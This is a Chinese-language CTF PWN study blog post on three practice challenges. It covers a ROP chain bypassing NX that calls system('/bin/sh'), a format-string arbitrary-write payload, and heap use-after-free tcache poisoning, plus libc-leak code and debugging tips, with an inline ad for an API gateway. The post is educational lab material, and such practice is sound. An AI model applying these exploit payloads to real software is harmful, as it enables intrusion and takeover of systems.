1. PWN练习笔记21-23:从入门到精通的实战路径
PWN作为二进制安全领域的核心方向,始终是CTF比赛和实际安全研究中的重点。这个系列笔记记录了我在第21到23个PWN挑战中的完整解题过程,特别适合已经掌握基础栈溢出、熟悉gdb-peda的初级选手进阶使用。不同于网上那些只给exp脚本的"解题报告",我会详细拆解每个漏洞的触发条件、调试过程中的关键观察点,以及最终利用链的构建逻辑。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 实验环境与工具链配置
2.1 基础环境搭建
推荐使用Ubuntu 20.04 LTS作为实验环境,内核版本5.4以上即可。必须安装的组件包括:
- gcc-multilib(用于编译32位程序)
- libc6-dev-i386(32位库文件)
- python3-pip(pwntools依赖)
工具链配置直接影响调试效率,我的常用组合是:
bash复制sudo apt install gdb peda checksec patchelf
pip3 install pwntools ropper
2.2 调试技巧精要
在gdb-peda中,这些命令组合能极大提升效率:
gdb复制# 检查内存映射
vmmap
# 可视化栈布局
telescope $esp 20
# 快速定位崩溃点
context code
# 检查canary值
canary
3. 挑战21:ROP链绕过NX保护
3.1 二进制文件分析
使用checksec检查防护机制:
code复制Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
关键发现:程序存在明显的栈溢出漏洞,但开启了NX防护,需要通过ROP实现利用。
3.2 漏洞利用开发
通过cyclic pattern确定溢出偏移量为140字节后,构建ROP链的要点:
- 使用ROPgadget查找可用指令片段:
bash复制ROPgadget --binary vuln21 --ropchain
- 组合pop-ret指令控制参数传递
- 通过plt表调用system函数
最终exp的关键结构:
python复制from pwn import *
payload = flat(
b'A'*140,
elf.plt['system'],
0xdeadbeef, # 虚假返回地址
next(elf.search(b'/bin/sh'))
)
4. 挑战22:格式化字符串漏洞利用
4.1 漏洞原理验证
当程序出现类似代码时:
c复制printf(user_input);
可以通过输入"%p.%p.%p"测试漏洞存在性。观察到栈数据泄露即确认漏洞。
4.2 精确控制写入地址
通过以下步骤实现任意地址写:
- 定位参数偏移:输入"AAAA"+".%p"*10,找到出现0x41414141的序号
- 使用%n格式化符配合$操作符指定参数位置
- 分字节写入时注意小端序问题
实战中的payload示例:
python复制fmt_str = lambda addr,data: f"%{data}c%18$hn".encode().ljust(20) + p32(addr)
5. 挑战23:堆利用之Use After Free
5.1 漏洞场景还原
典型漏洞代码模式:
c复制char *ptr = malloc(32);
free(ptr);
...
gets(ptr); // UAF发生点
5.2 glibc堆利用技巧
- 首先通过malloc/free操作塑造堆布局
- 使用gdb的heap命令观察chunk状态:
gdb复制heap chunks
heap bins
- 通过覆盖fd指针实现任意地址分配
关键利用代码结构:
python复制# 填充tcache
for i in range(7):
malloc(0x20)
# 触发UAF
free(target_ptr)
edit(target_ptr, p64(target_addr))
6. 高级调试技巧汇编
6.1 对抗ASLR的策略
- 通过信息泄露获取libc基址
- 计算与system函数的固定偏移
- 使用one_gadget工具寻找直接getshell的地址
6.2 自动化脚本编写建议
在pwntools中合理使用这些功能:
python复制# 自动化泄露处理
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc.address = leak - 0x3ebca0
# 交互式调试附着
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p, gdbscript='b *main+100')
7. 实战中的避坑指南
-
当rop链执行失败时,首先检查:
- 栈对齐是否符合架构要求(x86需要4字节对齐,x64需要16字节)
- 参数位置是否与调用约定匹配
- 是否存在坏字符影响payload
-
格式化字符串漏洞利用时常见的坑:
- 输出长度导致缓冲区截断
- 地址中包含\x00导致输入终止
- 写入顺序错误导致覆盖冲突
-
堆利用必须注意:
- glibc版本差异(2.23/2.27/2.31等关键版本行为不同)
- tcache机制引入的新特性
- 环境变量对堆布局的影响(如MALLOC_PERTURB_)
经过这三个挑战的实战,我总结出最有效的学习方法:对每个失败的payload,一定要在gdb里单步跟踪到崩溃点,观察寄存器状态和内存变化。这比直接看别人的writeup收获大得多。建议每完成一个挑战后,尝试用不同方法实现相同效果(比如用ret2libc代替one_gadget),这种刻意练习能快速提升实战能力。
